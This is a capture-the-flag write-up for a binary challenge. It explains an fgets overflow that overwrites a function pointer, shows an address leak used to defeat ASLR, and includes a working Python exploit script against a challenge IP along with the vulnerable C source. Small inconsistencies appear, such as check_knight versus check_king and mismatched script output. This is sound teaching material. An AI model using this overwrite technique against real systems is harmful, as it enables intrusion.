For this challenge we were given an IP address and port to connect to, along with a C file, included at the bottom, which was presumably the source of the binary running at this address.

Connecting to the port and providing some inputs gave us the following interaction:

nc 159.203.38.169 5683
Keeper: Stop! What is your name?
bob
bob: Sir bob of Camelot.
Keeper: What is your favorite color?
blue
bob: Auuuuuuuugh!

Now I delved into the source. First off I saw the ‘user’ structure, which looks as follows:

struct user {
    char color[8];
    char name[8];
    void (*next)(struct user*);
};

The size of this structure is 24 bytes on a 64bit system, 8 bytes for color, 8 bytes for name, 8 bytes for the pointer. Straight away I spotted an overflow on lines 36, 51 and 65.

char *res = fgets(user->color, sizeof(struct user), stdin);

This is reading sizeof(struct user) number of bytes, which is 24, whereas the color field is only 8 bytes long, so if we provide an input large enough we can easily overflow into name and next.

Looking further we can clearly see the win function, success_knight.

void success_king(struct user *user) {
    printf("Keeper: What? I don't know that! Auuuuuuuugh!\n");
    printf("FLAG\n"); // Obviously redacted in the provided source
    user->next = NULL;
}

Moving onto main we can see how the program uses this next pointer.

struct user *user = malloc(sizeof(struct user));
user->next = start;
while(user->next) user->next(user);

So it’s a weird method of choosing which function will be executed next. Each function is passed a pointer to the user structure and then the function sets the next value to another function before returning, the while loop in main then calls the next function.

My initial thoughts were that we needed to get the address success_king and overwrite the next pointer with it. The first problem being that we don’t have the compiled binary and therefore we don’t have the address of success king.

Luckily we’re able to leak addresses. If we provide a name of exactly 8 characters on line 65, (e.g. ‘knightAA’), fgets will put ‘knightAA\n\0’ into user->name, which becomes ‘knightAA\0\0’ after chomp() is used to remove the trailing newline. Then next is assigned to on line 83:

user->next = check_knight;

As the terminating null byte of our name has overflowed into the next field, it’s overwritten by the assignment. So after this assignment the name and next field looks like ‘knightAA\xef\xad\xad\xde\xef\xad\xad\xde’, where 0xdeadbeefdeadbeef is the 64bit address of check_knight.
Here’s the user struct before entering a name. The green is color, the red is name, the blue is next.

After entering name:

After chomp:

After assignment:

Then when the program prints out user->name on line 84, it also prints out the address of check_knight as there’s no terminating null between user->name and user->next. Scripting this up I could see that the address was changing every time, so clearly the binary was compiled as a position independent executable and ASLR was enabled. However, this wasn’t an issue because we could leak the address in start and then perform an overwrite of next in check_knight or check_king.

We didn’t leak the address of success_king directly because although we could leak it by starting our username with ‘Arthur’, we would then end up in check_king, we’d perform the overwrite of user->next but then there was no way to get past the following check:

if (strcmp(user->color,"An African or European swallow?")) {
    user->next = dead;
}

This was impossible as the length of the string (31) was greater than the number of bytes fgets read for color (24), therefore strcmp would always return true (the strings don’t match) and user->next would be set to dead.

The equivalent check in check_knight is

if (strcmp(user->color,"red")) {
    user->next = dead;
}

This was easy to pass since fgets will happily read null bytes, we just had to start our colour with ‘red\0’.

Finally we just needed to work out the address of success_king. I made the assumption that the offsets in the binary between the two functions would be the same in my compiled binary as in theirs. Therefore we could just compile the binary, load it up in IDA and subtract the addresses of the two functions to get the offset, this gave us -51. So all we had to do is subtract 51 from the leaked address of check_king then overwrite next with this calculated address.
So our name was ‘knightAA’ and our colour was ‘red\0’ + ‘AAAA’ + ‘BBBBBBBB’ + <calculated address of success_king>.

Putting this all into a python script we ended up with the following:

from socket import *
import binascii
import struct
import time

def p(x):
    return struct.pack("<q", x)

addr = 0
offset = -51

sock = socket(AF_INET, SOCK_STREAM)
sock.connect(('159.203.38.169', 5683))
sock.recv(1024)
print("[*] Triggering leak...")
sock.send('knightAA' + '\n')
time.sleep(0.3)

print("[*] Retrieving address of check_knight...")
resp = sock.recv(1024).strip()
addr = resp[8:14] + '\x00'*2
addr = struct.unpack("<q", addr)[0]

print("[*] Calculating address of success_king...")
addr += offset

print("[*] Calling success_king...")
sock.send('red\0' + 'AAAA' + 'BBBBBBBB' + p(addr))
time.sleep(0.3)

resp = sock.recv(1024)
print(resp[resp.find('FLAG'):])
sock.close()

Now we just had to run it to get the flag.

python solve.py
[*] Leaking address of check_knight...
[*] Calculating address of success_king...
[*] Calling success_king...
FLAG{Y0uCr0ss3dTh3Br1g30fD3ath}

red_is_dead.c:

#include
#include
#include

struct user {
    char color[8];
    char name[8];
    void (*next)(struct user*);
};

void chomp(char *str) {
    ssize_t last = strlen(str) - 1;
    if (last >= 0 && str[last] == '\n')
        str[last] = '\0';
}

void dead(struct user *user) {
    printf("%s: Auuuuuuuugh!\n", user->name);
    user->next = NULL;
}

void success_knight(struct user *user) {
    printf("Keeper: Right. Off you go.\n");
    user->next = NULL;
}

void success_king(struct user *user) {
    printf("Keeper: What? I don't know that! Auuuuuuuugh!\n");
    printf("FLAG\n");
    user->next = NULL;
}

void check_knight(struct user *user) {
    user->next = success_knight;
    printf("Keeper: What is your favorite color?\n");
    char *res = fgets(user->color, sizeof(struct user), stdin);
    if (res == NULL) {
        user->next = NULL;
        return;
    }
    chomp(user->color);
    if (strcmp(user->color,"red")) {
        user->next = dead;
    }
}

void check_king(struct user *user) {
    user->next = success_king;
    printf("Keeper: What is the air-speed velocity of an unladen swallow?\n");
    printf("%s: What do you mean?\n", user->name);
    char *res = fgets(user->color, sizeof(struct user), stdin);
    if (res == NULL) {
        user->next = NULL;
        return;
    }
    chomp(user->color);
    user->next = success_king;
    if (strcmp(user->color,"An African or European swallow?")) {
        user->next = dead;
    }
}

void start(struct user *user) {
    printf("Keeper: Stop! What is your name?\n");
    char *res = fgets(user->name, sizeof(struct user), stdin);
    if (res == NULL) {
        user->next = NULL;
        return;
    }
    chomp(user->name);

    size_t len = strlen(user->name);
    if (len < 2) { printf("Keeper: Sorry `%s', your name is too short\n", user->name);
        user->next = NULL;
        return;
    }

    if(!strncmp(user->name, "Arthur", 6)) {
        user->next = check_king;
        printf("Arthur: It is Arthur, King of the Britons.\n");
    } else {
        user->next = check_knight;
        printf("%s: Sir %s of Camelot.\n", user->name, user->name);
    }
}

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    struct user *user = malloc(sizeof(struct user));
    user->next = start;
    while(user->next) user->next(user);
    return 0;
}